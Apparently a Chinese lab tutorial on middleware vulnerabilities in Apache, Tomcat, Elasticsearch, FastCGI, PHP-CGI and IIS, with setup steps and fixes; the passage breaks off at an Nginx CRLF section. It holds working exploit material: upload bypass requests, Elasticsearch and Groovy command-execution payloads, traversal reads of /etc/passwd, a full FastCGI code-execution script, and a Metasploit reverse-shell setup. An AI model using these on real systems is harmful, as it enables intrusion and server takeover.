内容简介:ApacheApache HTTPD 换行解析漏洞
Apache
Apache HTTPD 换行解析漏洞
漏洞编号CVE-2017-15715
Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行 PHP 网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。
原理:在解析PHP时,1.php\x0A将被按照PHP后缀进行解析。
环境搭建
利用vulhub搭建
进入vulhub相应的文件夹
docker-compose build docker-compose up -d
利用方法 比如目标存在一个上传的逻辑
<?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); }
可见,这里用到了黑名单,如果发现后缀在黑名单中,则进行拦截。
将上述代码放置在容器内的/var/www/html目录下,设置好写权限,即可进行测试。
上传正常的PHP文件,被拦截
POST / HTTP/1.1 Host: 10.10.10.131:8080 Connection: keep-alive Content-Length: 357 Cache-Control: max-age=0 Origin: [url]http://10.10.10.131:8080[/url] Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6TAB8KxvuJTZYfUn Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://localhost:8080/day1701/form2.jsp Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.8 Cookie: JSESSIONID=725FA8D1C3EBECCFE80A28CF8A761E20 ------WebKitFormBoundary6TAB8KxvuJTZYfUn Content-Disposition: form-data; name="name" 1.php ------WebKitFormBoundary6TAB8KxvuJTZYfUn Content-Disposition: form-data; name="file"; filename="1.gif" <?php phpinfo();?> ------WebKitFormBoundary6TAB8KxvuJTZYfUn--
可以上传1.php.xxx,但是不解析,说明老的Apache解析漏洞不存在。
来到服务器看一下
老的解析漏洞不存在
我们利用CVE-2017-15715,上传一个包含换行符的文件。注意,只能是\x0A,不能是\x0D\x0A,所以我们用hex功能在1.php后面添加一个\x0A:
上传成功
接下来我们访问 [url]http://10.10.10.131:8080/1.php%0A[/url] ,成功解析
修复方法
更新版本,打补丁。
备注
获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋 默认的Apache配置即可利用,因为默认Apache配置就使用了<FileMatch>:
<FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch>
参考p牛博客,博客地址 [url]https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html[/url]
Apache文件解析漏洞
这是由于在配置服务器期间,配置人员为了调试方便,当时做的一些有安全隐患的配置在调试后没有及时更改,造成了文件解析漏洞。
原理
Apache配置错误,php_module解析文件时不使用正则匹配,遇到.php的文件就解析。
环境搭建
方法一:
拉取镜像命令:
docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:apachephp
docker pull registry.cn-hangzhou.aliyuncs.com/360college/360college:nginxphp
方法二:
docker pull ubuntu docker run -it -p 90:80 -d ubuntu /bin/bash(关联端口) docker exec -it 263ff846f0dd /bin/bash (进入容器) apache2+php7环境搭建语句 apt-get install apache2(安装apache2) apt-get insrall php7.2(安装php7) apt-get install libapache2-mod-php7.2(将php与apache关联) /etc/init.d/apahce2 start或service apache2 start(启动apache2服务) service apache2 status(查看apache服务状态)
开启容器
启动apache服务,由于设置了php与apache关联,所以php服务也一并开启了。
测试环境是否搭建成功,本机浏览器输入虚拟机地址及端口,测试apache是否开启,在容器web目录下写入phpinfo文件,并从本机访问,测试php是否服务是否开启。
利用方法
分析apache文件解析漏洞,在web目录下写入1.php.aaa文件,内容为phpinfo();,查看服务器是否能解析该文件。
无法解析
原因 缺少配置文件,使php_module解析文件时不使用正则匹配,遇到.php的文件就解析。在/etc/apache2/sites-enabled目录下编写123.conf文件,内容为AddHandler application/x-httpd-php .php,配置好后重启apache服务。
再次通过浏览器访问1.php.aaa,发现解析成功。
修复方法
修复方法删除123.conf,并重启apache服务。
无法解析
本质上就是修改了Apache的配置文件,让Apache解析文件时使用正则匹配,不至于遇到.php的文件就进行解析。
Tomcat
CVE-2017-12615
在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。Tomcat 7.x版本内web.xml配置文件内无readonly,需要手工添加,默认配置不受此影响。
影响版本
CVE-2017-12616影响范围:Apache Tomcat 7.0.0 - 7.0.80 CVE-2017-12615影响范围:Apache Tomcat 7.0.0 - 7.0.79 (Windows环境下)
漏洞成因
在 Windows 服务器下,将 readonly 参数设置为 false 时,即可通过 PUT 方式创建一个 JSP 文件,并可以执行任意代码。
阅读conf/web.xml文件,查看配置
默认readonly为true,当readonly设置为false的时候,可以通过PUT/DELETE来对文件进行操控。
环境搭建 在Windows10上搭建Tomcat
下载tomcat压缩包,并将解压到合适的位置
配置环境变量
配置jdk的环境变量(略)
在系统变量里新建变量名:CATALINA_BASE,变量值(如):E:\Software\Apache Software Foundation\apache-tomcat-7.0.79
在系统变量里新建变量名:CATALINA_HOME,变量值(如):E:\Software\Apache Software Foundation\apache-tomcat-7.0.79
在系统变量里打开PATH,添加变量值:%CATALINA_HOME%\lib;%CATALINA_HOME%\bin
打开cmd,进入tomcat下的bin目录E:\Software\Apache Software Foundation\apache-tomcat-7.0.79\bin,执行“service.bat install”
附:service卸载命令:service.bat remove
启动tomcat
方法一:tomcat路径下的bin文件夹内双击打开tomcat9w.exe,在打开的软管理软件内点击“start”
方法二:右键点击桌面上的“我的电脑”->“管理”->“服务和应用程序”->“服务”,找到“ApacheTomcat 7.0 Tomcat7”服务,右键点击该服务,选择“启动”。
访问10.10.10.132:8080 搭建成功
更改tomcat的配置文件web.xml,添加readonly为false
Linux上搭建实验环境
进入vulhub-master/tomcat/CVE-2017-12615文件夹
docker-compose build docker-compose up -d
完成后访问your_ip:8080,搭建成功。
利用方法
Windows环境
抓取数据包,上传文件
上传失败,提示404.
通过描述中的Windows受影响,可以结合Windows的特性。其一是NTFS文件流,其二是文件名的相关限制,(如Windows中文件名不能以空格结尾)来绕过限制,因为Windows不允许“ ”作为结尾,所以会创建一个.jsp文件,导致代码执行。
1.jsp%20
访问[url]http://10.10.10.132:8080/1.jsp[/url],代码被执行。
当PUT的地址为/4.jsp/的时候,也可以上传成功
evil.jsp::$DATA也可以上传成功
Linux环境
Linux环境下只有evil.jsp/可以上传成功,evil.jsp%20和evil.jsp::$DATA上传的文件会分别生成evil.jsp\和evil.jsp::$DATA文件,这样来说的话,Linux下可以允许“ ”空格作为文件尾结束。
evil.jsp/ 上传成功并可以解析
修复方法
方法一:
升级版本
方法二:
将readonly设置为true或者删除readonly配置
尝试再次上传,返回403,无法上传
Elasticsearch
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用 Java 开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。
环境配置
启动docker
docker-compose up -d
CVE-2014-3120
访问目标的9200,会出现Elasticsearch的信息:
利用该漏洞要求Elasticsearch中有数据,所以先创建一条数据,采用Burp发送数据包:
POST /website/blog/ HTTP/1.1 Host: 101.198.180.194:9200 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 27 { "name": "colleget" }
返回201状态码,代表创建成功:
利用该漏洞的Payload如下:
POST /_search?pretty HTTP/1.1 Host: 10.10.10.131:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 368 { "size": 1, "query": { "filtered": { "query": { "match_all": { } } } }, "script_fields": { "command": { "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();" } } } } } 其中JAVA等价于: String s1 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).useDelimiter("\\A").next(); //A means "start of string", and \z means "end of string". String s2 = new java.util.Scanner(Runtime.getRuntime().exec("ipconfig").getInputStream()).next(); System.out.println(s1);
CVE-2015-1427
访问目标的9200,会出现Elasticsearch的信息:
新版本中Elasticsearch将默认的脚步语言换成了Groovy,增加了沙盒机制过滤用户输入,但还是具有执行漏洞的方法:
绕过沙盒
Groovy代码执行
payload在操作机桌面上Files\Elasticsearch文件夹中
利用JAVA反射机制绕过沙盒
首先向9200端口插入一条数据:
POST /website/blog/ HTTP/1.1 Host: 10.10.10.131:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 25 { "name": "test" }
利用反射机制执行JAVA代码Payload:
POST /_search?pretty HTTP/1.1
Host: 10.10.10.131:9200
*Accept-Language: en
User-Agent: Mozilla/ 5.0 (compatible; MSIE 9.0 ; Windows NT 6.1 ; Win64; x64; Trident/ 5.0 )
Connection: close
Content-Type: application/text
Content-Length: 489
{
"size" : 1 ,
"script_fields" : {
"test#" : {
"script" :
"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getInputStream())).readLines()" ,
"lang" : "groovy"
}
}
}
执行结果
利用Groovy语言执行命令
Payload:
POST /_search?pretty HTTP/1.1 Host: 10.10.10.131:9200 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/text Content-Length: 156 {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
执行结果:
CVE-2015-3337
目录穿越漏洞:ElasticSearch安装site插件后,通过../可以向上层目录跳转,导致任意文件读取。
访问目的地址:IP:9200/_plugin/head/
使用Burp向目的地址 IP:9200/_plugin/head/../../../../../../../../../etc/passwd 发送Get请求:
CVE-2015-5531
1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。
访问IP:9200
新建一个仓库:
PUT /_snapshot/test HTTP/1.1 Host: 10.10.10.131:9200 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 110 { "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/test" } }
创建一个快照:
PUT /_snapshot/tes2t HTTP/1.1 Host: 10.10.10.131:9200 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Length: 128 { "type": "fs", "settings": { "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" } }
访问地址:IP:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
观察返回结果为ASCII编码:
可以用 工具 进行转换,或者直接使用Chrome-右键-检查-Console:
输入String.fromCharCode(ASCII码),执行结果如下:
Fastcgi未授权访问及任意命令执行
Fastcgi
Fastcgi是一个通信协议,只不过它是存在于服务器中间件和某个语言的后端之间进行数据交换的协议。Fastcgi协议是由多个recode组成,recode也有header和body,服务器中间件将接收到的数据按照Fastcgi协议以header、body的形式封装后发到语言后端,语言后端拿到数据,进行指定的操作,并且将结果按照该协议封装好发送给服务器中间件。
原理
由于服务器使用了Fastcgi协议并且将9000端口对外网开放了,那么就可以利用该协议未授权访问了。
环境搭建
利用vulhub搭建
payload
import socket import random import argparse import sys from io import BytesIO # Referrer: [url]https://github.com/wuyunfeng/Python-FastCGI-Client[/url] PY2 = True if sys.version_info.major == 2 else False def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes(<i>) def bord(c): if isinstance(c, int): return c else: return ord(c) def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict') def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
利用方法
使用命令访问一个非.php的文件
python fpm.py 10.10.10.131 /etc/passwd
无法访问,访问被拒绝
使用命令执行一个默认存在的php文件
python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php
访问成功,由此可见,只能对.php文件进行非授权访问。
还可以任意命令执行
python fpm.py 10.10.10.131 /usr/local/lib/php/PEAR.php -c '<?php echo `pwd`; ?>'
修复方法
禁止9000端口对外开放
PHPCGI
PHPCGI远程代码执行
CGI和FastCGI的区别
CGI:用户每发送一个请求,CGI都会创建一个子进程执行请求,将执行结果返回给用户,然后结束子进程。不能同时接受大量请求;
FastCGI:将进程一直在后台运行,接收数据包,执行后返回结果,自身不退出。
漏洞成因
if(!cgi) getopt(...) 被删掉了。
if(!cgi) getopt(...) 限制Web请求中不允许传入参数。
CVE代号
CVE-2012-1823
CVE-2012-2311
当CVE-2012-1823爆出来后官方进行了修补,但是新的版本5.4.2和5.3.12,但是修复不完全,可以使用空白符加-的方式进行绕过,衍生出CVE-2012-2311
环境搭建
访问 [url]http://10.10.10.131:8080/[/url]
利用方法
最简单方式 -s 显示页面源码
利用-d指定auto_prepend_file来制造任意文件包含漏洞
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input <?php echo shell_exec("ls");?>
开启文件包含并且可以POST传参
抓包
修改为POST传参方式,修改请求头请求体,代码执行成功
修复方法
先跳过所有的空白字符,再判断第一个字符是不是 -
备注
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
IIS
IIS6.0文件解析漏洞
漏洞介绍
IIS 6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞。
两种不同的利用方式:
/test.asp/test.jpg
test.asp;.jpg
漏洞影响版本
IIS 6.0
原理
当WEB目录下,文件名以 xxx.asp;xxx.xxx 来进行命名的时候,此文件将送交asp.dll解析(也就是执行脚本)
当WEB目录下,在访问以 xxx.asp 命名的目录下的任意文件时,此文件将送交asp.dll解析(也就是执行脚本)
IIS6.0核心处理代码
//reverse code by golds7n with ida int __thiscall Url(void *this, char *UrlStruct) { void *pW3_URL_INFO; // esi@1 int bSuccess; // eax@1 const wchar_t *i; // eax@2 wchar_t *wcsSlashTemp; // ebx@6 int wcsTemp; // eax@6 int wcs_Exten; // eax@6 int v8; // esi@9 int v10; // eax@11 int v11; // ST04_4@13 int v12; // eax@13 int ExtenDll; // eax@19 int Extenisa; // eax@20 int ExtenExe; // eax@21 int ExtenCgi; // eax@22 int ExtenCom; // eax@23 int ExtenMap; // eax@24 int Entry; // [sp+Ch] [bp-148h]@6 wchar_t *wcsMaohaoTemp; // [sp+10h] [bp-144h]@6 unsigned int dotCount; // [sp+14h] [bp-140h]@1 wchar_t *Str; // [sp+18h] [bp-13Ch]@3 char *url_FileName; // [sp+1Ch] [bp-138h]@1 char Url_FileExtenName; // [sp+20h] [bp-134h]@1 char v25; // [sp+50h] [bp-104h]@1 dotCount = 0; pW3_URL_INFO = this; STRU::STRU(&Url_FileExtenName, &v25, 0x100u); url_FileName = (char *)pW3_URL_INFO + 228; bSuccess = STRU::Copy((char *)pW3_URL_INFO + 228, UrlStruct); if ( bSuccess < 0 ) goto SubEnd; for ( i = (const wchar_t *)STRU::QueryStr((char *)pW3_URL_INFO + 228); ; i = Str + 1 ) { Str = _wcschr(i, '.'); ***********N1************ if ( !Str ) break; ++dotCount; if ( dotCount > W3_URL_INFO::sm_cMaxDots ) break; bSuccess = STRU::Copy(&Url_FileExtenName, Str); if ( bSuccess < 0 ) goto SubEnd; wcsSlashTemp = _wcschr(Str, '/'); ***********N2************ JUMPOUT(wcsSlashTemp, 0, loc_5A63FD37); wcsTemp = STRU::QueryStr(&Url_FileExtenName); wcsMaohaoTemp = _wcschr((const wchar_t *)wcsTemp, ':'); ***********N3************ JUMPOUT(wcsMaohaoTemp, 0, loc_5A63FD51); wcs_Exten = STRU::QueryStr(&Url_FileExtenName); __wcslwr((wchar_t *)wcs_Exten); if ( META_SCRIPT_MAP::FindEntry(&Url_FileExtenName, &Entry) ) { *((_DWORD *)pW3_URL_INFO + 201) = Entry; JUMPOUT(wcsSlashTemp, 0, loc_5A63FDAD); STRU::Reset((char *)pW3_URL_INFO + 404); break; } if ( STRU::QueryCCH(&Url_FileExtenName) == 4 ) { ExtenDll = STRU::QueryStr(&Url_FileExtenName); if ( !_wcscmp(L".dll", (const wchar_t *)ExtenDll) || (Extenisa = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".isa", (const wchar_t *)Extenisa)) ) JUMPOUT(loc_5A63FD89); ExtenExe = STRU::QueryStr(&Url_FileExtenName); if ( !_wcscmp(L".exe", (const wchar_t *)ExtenExe) || (ExtenCgi = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".cgi", (const wchar_t *)ExtenCgi)) || (ExtenCom = STRU::QueryStr(&Url_FileExtenName), !_wcscmp(L".com", (const wchar_t *)ExtenCom)) ) JUMPOUT(loc_5A63FD89); ExtenMap = STRU::QueryStr(&Url_FileExtenName); JUMPOUT(_wcscmp(L".map", (const wchar_t *)ExtenMap), 0, loc_5A63FD7B); } } if ( *((_DWORD *)pW3_URL_INFO + 201) || (v10 = *((_DWORD *)pW3_URL_INFO + 202), v10 == 3) || v10 == 2 || (v11 = *(_DWORD *)(*((_DWORD *)pW3_URL_INFO + 204) + 0xC4C), v12 = STRU::QueryStr(url_FileName), bSuccess = SelectMimeMappingForFileExt(v12, v11, (char *)pW3_URL_INFO + 756, (char *)pW3_URL_INFO + 1012), bSuccess >= 0) ) v8 = 0; else SubEnd: v8 = bSuccess; STRU::_STRU(&Url_FileExtenName); return v8; }
上述代码中,作星号标记的是N1,N2,N3,分别检测点号,反斜杠和分号。
大概流程为:
请求 /aaa.asp;xxxx.jpg
N1:从头部查找查找 "."号,获得 .asp;xxxx.jpg
N2:查找";"号,如果有则内存截断
N3:查找"/",如果有则内存截断
最终,将保留下来 .asp 字符串,从META_SCRIPT_MAP脚本映射表里与扩展名匹配对比,并反馈给了asp.dll处理
利用方法
新建一个名为“test.asp”的目录,该目录中的任何文件都被IIS当做asp程序执行(特殊符号是“/”);
访问[img]http://10.10.10.136/test.asp/1.jpg[/img] 1.jpg文件被当做.asp文件解析。
上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是“.jpg”,但由于含有特殊符号“;”,仍会被IIS当做asp程序执行。
假设我们上传的文件为test.asp;.jpg,访问[url]http://10.10.10.136/test.asp[/url];.jpg,文件被解析。
修复方法 升级版本!
IIS命令执行漏洞
编号 CVE-2017-7269
CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
环境及版本
Windows server 2003 r2
IIS 6.0
原理
CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
危害
Getshell,数据
利用方法
启动win server2003环境,开启IIS服务及WebDAV服务
下载exp [url]https://github.com/edwardz246003/IIS_exploit[/url],使用 python 执行exploit.py。
下载exp [url]https://github.com/zcgonvh/cve-2017-7269[/url],把exp复制到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis目录下,测试kali与iis环境联通性。
启动metasploit :msfconsole
查找漏洞编号:search 7269
进入漏洞模块:use exploit/windows/iis/cve-2017-7269
使用命令show options查看需要填写哪些参数
设置靶机IP:set rhost 10.10.10.136
设置靶机web站点:set httphost 10.10.10.136
设置返回载荷:set payload windows/meterpreter/reverse_tcp,返回监听端口默认为4444,未与其他端口冲突,所以不用设置。
设置攻击IP:set lhost 10.10.10.128
开始利用漏洞:exploit/run
返回信息无报错,输入 shell 发现获得了靶机的shell。登录靶机查看到进程中多了calc.exe的进程,并且用户名为NETWORK SERVICE。
修复方法 升级IIS。
IIS短文件名
短文件名
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
文件名字符长度超过九位;
只有前六位字符显示,后续字符用~1代替,若有多个文件前六位相同的同类型文件,则~1递增;
后缀名最多有三位,多余的被截断。
在Windows下查看对应的短文件名,可以使用命令 dir /x
原理
由于短文件名的长度固定(xxxxxx~xxxx),因此黑客可直接对短文件名进行暴力破解 ,从而访问对应的文件。
我们可以在启用.net的IIS下暴力列举短文件名,原因是:
访问存在的短文件名,返回404
访问不存在的短文件名,返回400
危害
猜解后台地址
猜解敏感文件,例如备份的 rar、zip、.bak、.SQL文件等
在某些情形下,甚至可以通过短文件名web直接下载对应的文件。比如下载备份 SQL 文件
局限性
只能猜解前六位,以及扩展名的前3位;
名称较短的文件是没有相应的短文件名的;
需要IIS和.net两个条件都满足。
版本
利用方法
dir /x
在外部访问,文件存在则显示404,不存在则显示400
访问[url]http://10.10.10.136/A[/url]/a.aspx,存在,返回状态码404
访问[url]http://10.10.10.136/B[/url]/a.aspx,不存在,返回状态码400
访问[url]http://10.10.10.136/AA[/url]/a.aspx
就这样猜解下去,可以实现暴力猜解后台地址等,也可以利用脚本进行猜解。
修复方法 方法一:
升级.net framework;方法二:
修改注册列表
HKLM_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation的值为1;
将Web文件夹复制到另一个新路径备份,将原来的文件夹删除,再将备份文件移动到原来路径下。
再次访问
[url]http://10.10.10.136/A[/url]/a.aspx
[url]http://10.10.10.136/B[/url]/a.aspx
备注 如果你的web环境不需要asp.net的支持你可以进入Internet 信息服务(IIS)管理器 --- Web 服务扩展 - ASP.NET 选择禁止此功能。
Nginx
Nginx配置错误
CRLF
CRLF回车+换行(\r\n)的简称;
HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器根据两个CRLF来取出HTTP内容并且显示出来通过控制HTTP消息头中的字符,注入一些恶意的换行,就能注入一些会话或者HTML代码比如就可以实现会话固定等等
漏洞成因
CRLF会话固定
